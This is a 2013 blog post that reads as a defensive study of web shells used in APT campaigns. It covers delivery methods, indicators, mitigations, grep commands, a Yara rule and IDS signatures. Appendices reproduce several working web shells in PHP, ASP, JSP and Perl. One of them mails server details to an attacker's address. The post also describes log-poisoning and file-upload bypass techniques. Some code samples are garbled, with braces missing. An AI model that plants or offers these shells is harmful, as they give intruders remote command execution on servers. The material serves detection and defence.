Sunday, July 28, 2013

Web Shells

Background

During early 2012, I became aware of multiple APT related campaigns that were leveraging web shells as their initial entry point into corporate networks. Web application servers exposed to the Internet with minimal controls or monitoring were being used by adversary groups to establish an initial foothold, and from there enter the corporate network.

I engaged in a detailed study to determine what these web shells were, how they were infecting web applications, and how to mitigate this threat. The following details my findings.

Objectives

  1. Understand the nature of web shell technology and its use in system exploitation, command and control, and related APT efforts.
  2. Develop recommendations for addressing the threat posed by web shell including detection and prevention.

Methodology 

I conducted research into public forums, underground forums, white papers, and reviewed numerous malicious samples of web shells to understand the nature and use of this threat. A small scale proof of concept was established to observe and test web shell use and detection.

Recommendations for developing a defensive posture including detection options have been provided in the sections below.

A summary of technical findings has been included in the technical and appendix sections of this report.

Web Shells Defined 

Web shells can be compared to a remote access Trojan, but of a variety that leverages existing applications (web services) to facilitate command and control rather than installing a new component such as a backdoor. Web shells vary greatly in terms of sophistication and may be bundled with additional features. Web shells are used by actors for remote command and control over the systems that have been exploited. They are not themselves weapons used for attack or vulnerability exploitation, but rather a tool used post compromise to issue commands on the compromised system. 

Delivery Tactics

Because web shells are not used as an attack tool, they can be delivered via any number of web application exploits or configuration weaknesses. Some examples include:

Cross-site scripting 
SQL injection 
Java Exploit 
File upload vulnerabilities or extension blacklist bypassing 
Remote file include vulnerabilities 
Local file include

Indicators

The following general indicators of web shell activity were discovered during research:
System, file, or directory changes (web code, configuration files, ACLs, files dropped, content dropped). 

  • Web shell code was as a standalone file containing shell interaction commands (cmd, exec, etc.)
  • Web shell code was injected into web application pages (cmd, exec, etc.)
  • Remote interaction with the shell code was performed through commands sent in HTTP GET strings
  • Obfuscation (custom or otherwise) was used in the form of encryption, hidden files, or encoding

Proof of Concept

To obtain hands-on experience with web shells, I established a basic proof of concept involving two systems: my Windows laptop running a Windows VM (as the victim webserver). 

Webserver: Windows XP running Apache Tomcat 7.0.26 
Configuration: Default install 

Injected code: One I had the server up and running, I replaced the existing index.jsp with a copy that contained the following at the bottom. Note, I did not "exploit" the webserver to invoke this replacement as that was not my goal for the proof of concept. My goal was to understand what web shell are and how they behave for the purpose of defense. Exploit prevention is another topic for another time, and there are many methods that can be used to inject code into web servers. Here's what I added:

<FORM METHOD=GET ACTION='index.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
</FORM> 
<%@ page import="java.io.*" %> 
<% 
String cmd = request.getParameter("cmd"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
catch(IOException e) { 
e.printStackTrace(); 
%> 
<pre> 
<%=output %> 
</pre>

Commands Entered: Using specific urls that invoked the following commands, I attempted to interact with cmd.exe on the local system through the injected code (ipconfig, whoami, netstat –na). To interact with the web shell, I simply passed the cmd= followed by the specific command I wanted, through the URL. Here's how they looked:




Results: The output of the commands was displayed directly in my browser window, and the bottom of the page where the shell code was inserted.

Web Shell Obfuscation and Mitigation Tactics

Web shells can use a wide range of tactics for evasion. Those identified during research are listed below with a mitigation strategy.

Tactic or Scenario Mitigation 

In the first scenario, external web shell code was injected through an “include” statement. Include statements must be added to the local web server pages. Monitoring for unauthorized changes should detect when something is amiss. To defeat this tactic, consider:

  • Monitor encrypted communications between actor and target by implement an SSL proxy to gain visibility into the full contents of the communication stream
  • Implement full application logging to collect GET and URI details for continuous monitoring
  • Monitor uploaded files for encoding that can be used to obfuscate web shell code
  • Leverage a web application firewall or reverse proxy server to detect and prevent encoded contents from being dropped to the server
  • Advanced inspection tools like McAfee NTR may detect based on file attributes. 
  • The presence of an encoded file within the web directory can be discovered through code scanning.
  • When encoding is used to obfuscate command and control, a local decode file or code must be present for the web server to interpret incoming communications
  • Evaluate all files dropped or added 

Defense and Detection

Web shells cover a very broad spectrum in terms of sophistication and how they are delivered, however they rely on common elements that may be defended against though a mutli-tier approach leveraging a combination of practices, policies, technology, and monitoring. Defensive measures have been prioritized below in a high level summary of mitigation objectives:

Defense Prioritization:
  1. Implement strict access control.
    1. Network based IP and content control through a WAF or reverse proxy (including SSL proxy) to prevent direct system/application access and provide the foundation for content inspection
    2. Control content (administrator, public, etc.) access based on role: principle of least privilege.
  2. Enable full logging at the application and host level and export logs and monitor for unusual contents in the URI and related fields and include in log collection and monitoring tools.
  3. Implement change management and configuration change monitoring on all external systems.
  4. Extend OS and application vulnerability scanning to all externally facing systems.
    1. Conduct periodic intrusive scanning.
  5. Deploy McAfee NTR or a like file/network inspection technology “behind” reverse proxy of WAF to monitor all Internet communications for unusual characteristics.
  6. Implement application white listing.
Comprehensive Defense and Detection

Delivery and Exploit Prevention: Secure web servers and web applications 
Delivery and use of a web shell can only be accomplished through web application vulnerabilities and configuration weaknesses. Proactively identifying these weaknesses and mitigating them will restrict an actor’s reconnaissance, weapon delivery, and exploit capabilities. 
  1. Implement strict change control and change monitoring.
  2. Use a unique user-id for all web service applications and restrict that user’s access to shell commands or system/OS features not required for application functions.
  3. Harden web server and application configurations and validate with regular comprehensive pen testing.
  4. Leverage web application access and content control features comprehensively (eg. .htaccess).
  5. Use commercial web services products whenever possible and update with vendor patches.
  6. Conduct pre-implementation code review.
  7. Enforce strict access control at the network, host, and user levels including:
  8. Network ACLs (FW, Reverse Proxy, IPS).
  9. Host ACLs (local firewall or application access control lists).
  10. User control (separate all administration accounts from application accounts).
  11. Monitor the status of vulnerabilities and enforce remediation.
Delivery and Use Detection
Continuous Network Monitoring of Communication and File Attributes 
Inspect network communications for malicious attributes to detect when a weapon is being delivered or used: web shell files contain shell commands and receive commands and send results via the network. 
  1. Inspect files being transferred to web applications and servers for attributes of hidden use (obfuscation) or embedded commands (file containing shell commands).
  2. Inspect HTTP data for indications of command and control or unusual HTTP clients interacting with the web application or server OS.
  3. Inspect URLs and URIs request methods passed to the target server for command structures.
  4. Enable full audit logging at the OS and application layer and monitor remotely or implement a reverse proxy to capture all relevant data at the network level.
Exploit and Foothold Detection: Continuous Host-Based Monitoring 
Monitor web server files & configurations: delivery of web shells results in a change to the target server files or folders (add or modify). By monitoring for unusual access or changes detection may be possible. 
  1. Establish continuous monitoring of static web application files and directories for indications of changes which may represent malicious activity or a deviation from defined configuration policies.
  2. Provide continuous evaluation of system configurations and compare against scheduled changes.
  3. Scan web server files for malicious attributes: web shells represent foreign files or code.
    1. Inspect the attributes and contents of files used by the web application service for indicators of embedded code, encryption, or other factors which indicate malicious use.
  4. Monitor system behavior for actions representing foreign presence:
    1. Directory listings
    2. User enumeration
    3. System reconnaissance (process listings, open ports)
WebShell Validation: Forensic validation of a web shell’s presence and use 
If a system is suspected of compromise or web shell use, simple manual tools can be used for validation: 
  1. Manual command line search for files containing attributes of shell code.
  2. File string scans using a tool like Yara to discover embedded shell code or files containing malicious attributes (encoding, encryption etc.).
Technology and Services to Facilitate Defense 
  1. OS vulnerability scanner: QualysGuard, Nessus
  2. Web Application vulnerability scanner: QualysGuard WAS, Nessus
  3. Host Monitoring: McAfee TEP, Triumfant, Bit9
  4. Configuration monitoring: Tripwire, Triumfant, nCircle
  5. File and application monitoring: McAfee Total Protection, Triumfant, Bit9, nCircle
  6. Network monitoring: IDS, FW, Reverse Proxy, WAF
  7. Advanced network monitoring: McAfee NTR, NetWitness, FireEye
  8. Correlation: ArcSight 

Section 2: Web Shell Technical Review

The following sections are intended for the technical audience and serve as a more detailed review of the research conducted. Samples of web shell code are included as are specific solutions tested for web shell detection. 

Genearl Findings

Web shells have been in use for over 12 years within the realms of legitimate and malicious use, but appear to be on the rise possibly due to the recent emphasis on web-based applications. Of the web shells reviewed as listed below, one use case (remote browser system shell access) and three general architectures were discovered: web shell as a local http daemon, web shell as a proxied command and control utility, web shell as a file within the HTTP services structure. Web Shells exist for numerous web applications including CGI, PHP, ASP, and JSP. All architectures leveraged the web browser of the client to interface directly with the remote system shell using the web function as an interpreter. Some shells like the ASP shell (see cmd.asp) are very simple codes that establish a CLI interface via the browser in only a few html lines, while others like the c99 shell are very complex perl scripts that create the web shell based on system variables, include password protection and update features, command arrays, functions, command variables for obfuscation, and configurations for use in multiple environments. Several web shells reviewed used simpler user-agent string based browser validation to evade detection. However, common attributes and impact exist among all (shell commands and changes to the web application). 

Non-Malicious Use

The following web shells publicly distributed as remote systems administration tools were reviewed and were not apparently intended for malicious intent:


  • WebShell (2011) – developed for use on an iPhone (as the client) to remotely admin Linux servers 
  • Shell In A Box (2010) – local daemon using SSL for remote system CLI via a web browser 
  • Researcher Use: The following reviewed web shells were created by security researchers as proof-of-concept or pen testing tools and represent methods attackers could be or are leveraging: 
  • WSH (2006) – firewall bypassing technique 
  • Shell Of The Future (2010) – reverse web shell handler for XSS exploitation 
  • Htaccess Stealth Shell (2011) – web shell obfuscation proof of concept 
  • Simple web shell code samples – malicious web shell proof of concept white paper 

Malicious Use 

The following web shells publicly distributed by malicious forums were reviewed and appear to have been custom created by specific actors and groups. References are cited for these in the appendix. 

  • WebShell by Orb (2011) 
  • C99 PHP Shell (2005 ccteam.ru) 
  • Gamma Web Shell or WebShell.cgi (2003 Gamma Group) 
  • Go-shell.cgi 
  • JspWebshell_1.2.jsp 
  • CmdAsp.asp (2000 by Maceo) 
  • Cmd-asp-5.1.asp (2006 by Brett Moore)

Recent Campaign Use

Web shells were components of the following recent adversarial campaigns that had far reaching impact.

  • Multiple campaigns by Orb in 2010 and 2011 
  • Night Dragon 
  • Shady RAT 
  • Commonplace among Chinese hacker forums (like hxxp://files[.]xakep[.]biz/shells/) 
  • References to C99 in multiple numerous attacks

Architectures

WebShell as a local File

Most of the malicious samples used followed the architecture of the actor dropping a local file containing the shell code onto the target system’s web application structure. Application exploits were used to drop the file and modify the web application to make the dropped file accessible by the web application. Some examples simply used existing configuration weaknesses to engage the dropped file, but the architecture remained the same. 

External WebShell Code

One example reviewed leveraged an architecture where the only modification made to the victim system was a remote file include statement which when activated via an HTTP GET request would reach out externally to evaluate the webshell code which was hosted on the attacker’s system. 

Weaponization and Delivery

Web shells are a common method of command and control which is a function of the “foothold” stage of the infiltration kill chain. Delivery and execution can be accomplished through a wide variety of web application exploits and weaknesses. Some examples of exploits used to deliver web shells include the following. A very good white paper on this subject which covers web shell delivery for multiple vectors can be found at: 


  • Cross-site scripting 
  • SQL injection 
  • Java Exploit 
  • File upload vulnerabilities or extension blacklist bypassing 
  • Remote file include vulnerabilities 
  • Local file include 

One stealthy method of delivering a web shell intentionally created an error log entry on the web server that included the web shell code (<?php echo passthru($_GET['cmd']); ?>) by passing an HTTP request to the server for a file that doesn’t exist, with the code embedded in the referrer section of the HTTP request. The attacker could then activate the code by leveraging include functions and sending the web server a GET request for the log file which launched the web shell. This method does not persist beyond a log roll, but creating a new log entry for persistence is an easy task.

File upload exploitation can be a relatively easy method to use by bypassing weak blacklists or file upload ACLs to post the web shell to the server. For example, if .php is a blocked extension within the file upload blacklist, .php3 which is interpreted by the web application as a php file, may not be. The same applies for variations on any file type with variable extensions.

Because the file must be included in an existing web page for the function to work properly either the existing web services function must call the standalone shell file (through an include or other function), or the web shell code must be embedded into an existing web page. For the sake of expediency, the proof of concept used in this effort leveraged the later.

Once the file has been dropped into the web services functions, the actor can interact with the page to conduct shell access on the web server system. 

Impact

Once the attacker has delivered the web shell, they have an interface to the system shell as the web server user and can leverage that capability to launch additional actions. During proof of concept tests, the web shell script used provided shell access as the system user. 

Defense 

Because the web shell is a post exploit tool used for command and control, detection is possible, but defense must include proactive measures to prevent initial web application exploitation and establish reactive detection. The following recommendations will facilitate a defensive posture: 

Prevent Web Server Exploitation

Of the web shells reviewed most are delivered post exploit while others are delivered and accessed through configuration weaknesses. The web application must be exploited first before a web shell can be dropped and executed. That means defense starts at securing web services. 
  1. Prevent exploitation by remediating vulnerabilities
    1. Conduct regular system and application vulnerability scans to discover vulnerabilities and mitigate when found. 
    2. Note: this does not prevent 0 or half day exploitation. 
  2. Conduct continuous configuration assessments and monitoring to discover configuration changes or weaknesses and compare against defined policies to identify configurations that expose systems to exploitation. Where access controls are used, ensure they are comprehensive.
  3. Use vendor supported web services whenever possible to ensure protection from flaws in custom coded web applications. When custom coded applications are used, leverage penetration testing and code review to ensure security and continuously monitor for any configuration changes.
  4. Enforce strict access control for web applications created for specific customers by restricting HTTP or HTTPS access to only the subnets or ranges used by the intended customer and for only the content that should be made available to them.
  5. Enforce vulnerability/exposure mitigation and/or isolate vulnerable systems into a segmented VLAN to reduce greater impact if a vulnerable system is exploited.
  6. Of note, those who have been mitigating attacks leveraging web shells have found that patching web applications and limiting the use of custom or obscure free web applications has been an effective defense.

File and HTTP Content Inspection

All of the web shell detection methods discovered during research stated the most effective way at detecting a web shell was by searching the local web services, log, and temporary directories for changes or files containing common malware attributes; essentially attributes that should not be present in web services files (see Detection Options Detailed). 
  1. Enable full system and application logging and remote collection as the foundation for monitoring.
  2. Implement a web application firewall or proxy to decode and decrypt communications so that full inspection is possible.
  3. Inspect files passed to or on web servers to detect suspicious attributes including:
    1. Use of obfuscation within a file in a web services directory (for example a base64 encoded file)
    2. Embedded commands within a file in a web services directory ($cmd, cmd.exe, command.exe…)
    3. Modification of a web services file like .htaccess which may indicate an attacker has planted a new web page
  4. Inspect communications for attributes of suspicious activity including:
    1. Commands within URLs (example: http://www.server.com/file.php?cmd=cat+/etc/shadow)
    2. HTTP POSTs to servers which should not be posted to
    3. Inspect incoming content for files containing obfuscation, embedded commands, or unusual attributes
    4. HTTP requests for files not part of the standard web services structure
Note: Several researchers and victims of web shells noted the only method they were able to use to detect web shells on their systems was through file attribute inspection either via manual searches or a customized automated file scanning tool.

System and Behavior Monitoring

In every web shell reviewed, commands were invoked by the shell script which is run as the local web application or system user. Any actions or changes performed by the web application user that should not be would therefore be highly suspect. 
  1. Monitor files and logs on external systems to detect modifications or suspicious attributes
  2. Monitor web services users for interactive or system level actions
  3. Monitor for changes to the content and access control files (like .htaccess)
  4. Monitor error logs for interactive shell strings to detect if shell interactions are in progress
  5. Monitor commands and processes run by the system user
  6. Monitor for unauthorized system or application changes

Detection Options Detailed

Depending upon the web shell used, detection may be accomplished through a multi-layered approach using a combination of options described in the subsections below. Perhaps the most effective detection of web shells will be local configuration change detection, local file attribute inspection, and network scanners like McAfee NTR to discover file attributes used by advanced malware in general. Multiple public-source tools such as spyshell80 and NeoIP leverage this method to detect shells in web servers. The basic premise is legitimate web content should not include certain characteristics like obfuscation, encryption, or shell commands. These indicators when correlated against system behavior may result in high fidelity detection of an intrusion, however further analysis would be required for web shell attribution. Some of the tell-tale signs of web shells include: 

  • Modifications to content and system ACLs (like .htaccess) 
  • Base64 encoding for obfuscation 
  • Files containing encryption 
  • File contains shell commands, interpreters, or translators 
  • URLs contain shell commands

Host Based Options

File inspection on externally facing systems with a host-based monitoring tool or script which identifies file characteristics like the following. Note, his could be scripted as a daily function with the output added to Windows event or syslog to be externally monitored. Some manual examples include:

Linux Command
grep - RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru|cmd|dir|pwd)"/path-to/web-files

Windows Command
find \i “cmd” c:\path\to\webservices\* 

File attribute inspection and string analysis to discover files containing obfuscation or other malicious attributes that should not be present.

Commercial host based file inspection tools like McAfee may exist to provide this capability. A simple Yara rule was developed based on common strings within the reviewed web shells and was effective at detecting the samples. If Yara can be adapted to a network or host based platform with an external logging facility, it may be an effective detection tool.

rule web_shell_attribute_detection
strings: 
$a = “$cmd” 
$b = “cmd.exe” 
$c = “cmd” 
$d = “command” 
$e = “base64” 
$f = “mkdir” 
$g = “passthru” 
$h = “exec” 
$i = “shell_exec” 
$j = “dir” 
$k = “ls” 
Condition: 
any of them 
}

NeoPI is a tool develop by researchers and presented at multiple security conferences as a manual method for web shell detection (CLI based tool series of scripts). 

  • Identifies long strings within files – indication of encoding
  • Entropy to determine randomness of file contents 
  • Leverages index of coincidence to detect portions of text within a file that deviate from normal character distributions 
Monitor host based or system logs to detect unauthorized changes to static or other critical web application files: .htaccess is used to control access to web resources and hence is sometimes used by attackers to control access to web shells.

Only effective for exploits that modify .htaccess like the sample included in section 2, but one possible indicator

Identify all static configuration files or directories and monitor for changes.

Create unique user account for web applications and monitor activity for user-like actions or any system level access requested by that user account.

Because the attacker won’t know the particular attributes and configurations of the system, their initial recon will likely involve exploratory commands like: 

  • dir or pwd 
  • ls 
  • whoami 
  • netstat

Network Based Options

Of the example web shells reviewed, some used obfuscation tactics (like base64 encoding), some used SSL encryption, and most used clear text HTTP. Network based detection will of course depend upon the nature of the web shell and additional technology (such as an SSL proxy) would be required to facilitate some detection methods:

Payload and URL inspection for shell code activity can be accomplished using custom IDS signatures when URL and payload information can be inspected, and neither encryption nor obfuscation are used within the session by the attacker. Both the files passed to the web server and the HTTP commands used to execute shell commands may contain indicators such as those highlighted in the web shell samples below.

The presence of semi-colons, pipe ( | ), redirection ( > ) within a URL may also represent a command structure being passed to the web shell on the victim.

Web shell code A:

<?php 
if(isset($_REQUEST[‘cmd’])){ 
echo "<pre>"; 
$cmd = ($_REQUEST[‘cmd’]); 
system($cmd); 
echo "</pre>"; 
die; 
?>

Web shell A execution:

Web Shell Code B:

<% 
Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 
objWShell.Exec(command) 
%>


McAfee NTR bases threat detection on multiples session based factors including identification of file characteristics that indicate possible malicious use. NTR’s capabilities include detecting some of the obfuscation tactics used by web shells. Once a suspect file or session is identified, the suspect file is made available by NTR for off-box analysis to determine the nature and capabilities of the file. Some examples of how NTR discovers possible malicious files follow. Additional proof of concept testing would be needed to validate NTR as our limited proof of concept was not detected by the demo instance of NTR currently available to the Engineering team.

base64.HTML.Serverside.Generic.Trojan

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.HTML.Serverside.Generic.Trojan"; content:"Content-Type|3a| text/html|0d 0a|"; content:"Content-Length|3a| 25| 0d 0a|"; distance:0; pcre:"/[\x0d\x0a]{4}[A-Za-z0-9\/+]{22}==([\x0d\x0a]|$)/i"; sid:20056017; rev:3;)

This signature detected an unusual base64-encoded server response that could possibly be the result of a callback request from an infected host. If in conjunction with other alarms, you may wish to check this host for signs of compromise.

base64.POST.XSS

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.POST.XSS"; flow:to_server; content:"POST "; nocase; depth:5; content:"="; content:"eval"; distance:0; content:"base64_decode"; distance:0; pcre:"/eval(%28|\x28)base64_decode/"; sid:20055975; rev:1;)

This signature detected unusual POST parameters that may indicate obfuscated malicious input being passed to the server. This could result in a form of cross-site scripting attack, or in some cases, possible command injection.

base64_decode.URI.XSS

Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"base64_decode.URI.XSS"; uricontent:"eval"; uricontent:"base64_decode"; distance:0; sid:20055037; rev:3; reference:url,hi.baidu.com/opense/blog/item/f435db00c5016904728da536.html;)

This signature detected obfuscated (base64-encoded) javascript in the URL. This could indicate possible cross-site scripting attempts. An attacker could exploit this to execute arbitrary HTML and script code in the user's session.

passthru.A.PHP.Shell.Injection

Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"passthru.A.PHP.Shell.Injection"; content:"<?php"; content:"passthru"; distance:0; content:"$_SERVER["; sid:20055830; rev:3; reference:url,luctus.es/wp-content/uploads/2010/04/Webshells.pdf; reference:url,exploit-db.com/exploits/18121/;)

This signature detected potential PHP shell injection against the web server.

Threat Intelligence correlation and network behavior analysis may be one indicator or when combined with the above detection may help raise the fidelity of web shell discovery since the attacker needs to interact with the web shell from a remote browser. 

  • Unusual User-Agent strings may indicate custom web applications or HTTP daemons or authenticated malicious clients. Most web shells used unique UA strings for obfuscation.
  • Known domains/IPs used for malicious intent.
  • Unknown domains/IPs matching behavior analysis (non-us country as one indicator)

Appendix 1: Web Shell Examples

The following section provides samples of numerous malicious web shells. The common attributes which may be used for detection have been bolded for emphasis.

Simple PHP Web Shell 

<?php if($_SERVER['HTTP_USER_AGENT']=="evil1"){echo passthru($_GET['cmd']);} else 
{echo " "; ?>

Simple ASP Web Shell

<% 
Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 
objWShell.Exec(command) 
%>

PHP Web Shell Extract 

<?php 
$register_globals = (bool) ini_get('register_gobals'); 
if ($register_globals) $svr = getenv(SERVER_NAME); 
else $svr = $_SERVER['SERVER_NAME']; 
?> 
<html> 
<head> 
<title>Published at scripts.tropicalpcsolutions.com</title> 
</head> 
<body> 
<form enctype="multipart/form-data" method="POST"> 
<br> 
[webshell@<?php echo $svr ?> /]# 
<input type="text" name="cmd" value=""> 
<input type="submit" value="Enter"> 
</form> 
<br> 
<hr width="75%" align="left"> 
<br> 
</body> 
</html> 
<?php 
$cmd = $_POST['cmd']; if($cmd) { echo '<pre>'; echo $last_line = system($cmd); echo '</pre><br>'; } 
?>

Perl Web Shell

#!/usr/bin/perl #web shell using backticks 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
$command = "pwd"; 
$result = `$command`; 
print $result; 
exit; 
And now using open() 
#!/usr/bin/perl 
#web shell open 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
$command = "pwd"; 
open lol, "/bin/sh $command|" or die "Failed to open pipeline"; while(<lol>) { 
print; 
exit;

JSP Shell 

<html> 
<FORM METHOD=GET ACTION='cmdjsp.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
</FORM> 
<%@ page import="java.io.*" %> 
<%@ page import="java.util.*" %> 
<%@ page import="javax.servlet.*" %> 
<%@ page import="javax.servlet.http.*" %> 
<% 
String cmd = request.getParameter("cmd"); 
String OS = System.GetProperty("os.name"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
else { 
Process p = Runtime.getRuntime().exec(cmd); 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
catch(IOException e) {e.printStackTrace();} 
%> 
<strong>Current working directory is:<br></strong> 
<pre> 
<%= getServletContext().getRealPath("/") %> 
</pre><br> 
<pre> 
<%=output %> 
</pre> 
<!-- grabbed from http://michaeldaw.org modified for windows and linux by Joseph Giron --> 
</html>

NSHELL Extract:

$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); 
function ecmd() 
echo "<FORM name=injection METHOD=POST ACTION=".$_SERVER['REQUEST_URI'].">"; 
echo "Command : <INPUT TYPE=text NAME=cmd value=".@stripslashes(htmlentities($_POST['cmd']))."><br> <INPUT TYPE=submit></FORM><hr color=777777 width=100% height=115px></font><pre>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
$cmd = @$_POST['cmd']; 
if (isset($chdir)) @chdir($chdir); 
ob_start(); 
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); 
$output = ob_get_contents(); 
ob_end_clean(); 
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); 
exit(); 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
echo "</pre>";

PHP Shell Sample:

if ( @is_readable("$dir/$file") ) 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; 
else 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; 
/* <!-- Actions --> */ 
echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; 
/* <!-- Rename --> */ 
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; 
/* <!-- Edit --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; 
/* <!-- Copy --> */ 
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; 
/* <!-- Move --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; 
/* <!-- Delete --> */ 
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; 
/* <!-- Download --> */ 
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; 
/* <!-- Execute --> */ 
if ( @is_executable("$dir/$file") ) 
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; 
/* <!-- End of Actions --> */

PHP WebShell by Digital Outcast (Partial)

//This function sends the appropriate headers to handle the image (This is just GIF images easily modifiable 
if (isset($_GET['img'])) 
header("Content-type: image/gif"); 
echo base64_decode($images[$_GET['img']]); 
die(); 
//Sets the directory to the directory specified 
if (isset($_GET['dir'])) 
$current_dir = realpath($_GET['dir'])."/"; 
else 
$current_dir = './'; 
//Run a CLI command if one has been sent 
if (isset($_POST['CLICommand'])) 
echo "<pre>"; 
echo "<b>Output From Command: </b><br />"; 
echo "<textarea cols='120' rows='25'>"; 
passthru($_POST['CLICommand']); 
echo "</textarea>"; 
echo "</pre>"; 
die(); 
//set the current_dir url 
if (($current_dir == './') && (!isset($_COOKIE['dshell']))) 
$surl = $_SERVER['REQUEST_URI']; 
setcookie('dshell',$surl,time()+99999); 
elseif (!isset($_COOKIE['dshell'])) 
die('Error Could Not load the default path'); 
else 
$surl = $_COOKIE['dshell'];

Java WebShell 

public String exeCmd(String cmd) { 
Runtime runtime = Runtime.getRuntime(); 
Process proc = null; 
String retStr = ""; 
InputStreamReader insReader = null; 
char[] tmpBuffer = new char[1024]; 
int nRet = 0; 
try { 
proc = runtime.exec(cmd); 
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); 
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { 
retStr += new String(tmpBuffer, 0, nRet); 
insReader.close(); 
retStr = HTMLEncode(retStr); 
} catch (Exception e) { 
retStr = "<font color=\"red\">ÃüÁî´íÎó\"" + cmd + "\""; 
} finally { 
return retStr; 
}

ASP Web Shell targeting IIS 5.1 
<% 
' ASP Cmd Shell On IIS 5.1 
' brett.moore_at_security-assessment.com 
Dim oS,oSNet,oFSys, oF,szCMD, szTF 
On Error Resume Next 
Set oS = Server.CreateObject("WSCRIPT.SHELL") 
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFSys = Server.CreateObject("Scripting.FileSystemObject") 
szCMD = Request.Form("C") 
If (szCMD <> "") Then 
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName() 
' Here we do the command 
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF & 
"""",0,True) 
response.write szTF 
' Change perms 
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G 
everyone:F",0,True) 
Set oF = oFSys.OpenTextFile(szTF,1,False,0) 
End If 
%> 
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name="C" size=70 value="<%= szCMD %>"> 
<input type=submit value="Run"></FORM><PRE> 
Machine: <%=oSNet.ComputerName%><BR> 
Username: <%=oSNet.UserName%><br> 
<% 
If (IsObject(oF)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oF.ReadAll) 
oF.Close 
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True) 
End If 
%>
<!-- http://michaeldaw.org 2006 --> 

Appendix 2: A Lesson in Obfuscation - Stealth Web Shell 

This scenario of a stealth web shell presents the most likely use of web shells as a weapon and the most challenging to detect and defend against of those reviewed. This specific implementation of a web shell is obfuscated through us of a hidden file (.filename, .htaccess, or even index.php), external payload (outside the URI), hidden URL, IDS evasion by using base64 encoding, however some tell-tale signs are still present (bolded for emphasis).


Sample .htaccess Code: 

01 # Self contained .htaccess stealth web shell - Part of the htshell project 
02 # Written by Wireghoul - http://www.justanotherhacker.com 
03 
04 # Override default deny rule to make .htaccess file accessible over web 
05 <files ~="" "^\.ht"=""> 
06 Order allow,deny 
07 Allow from all 
08 </files> 
09 
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
11 # the apache directoves from the .htaccess file 
12 AddType application/x-httpd-php .htaccess 
13 
14 # Enable output buffering so we can fudge content length in logs 
15 php_value output_buffering 1 
16 
17 # Rewrite supposed url to the .htaccess file if X-ETAG request header is set 
18 RewriteEngine on 
19 RewriteCond %{HTTP:X-ETAG} !^$ 
20 RewriteRule .* .htaccess [L] 
21 
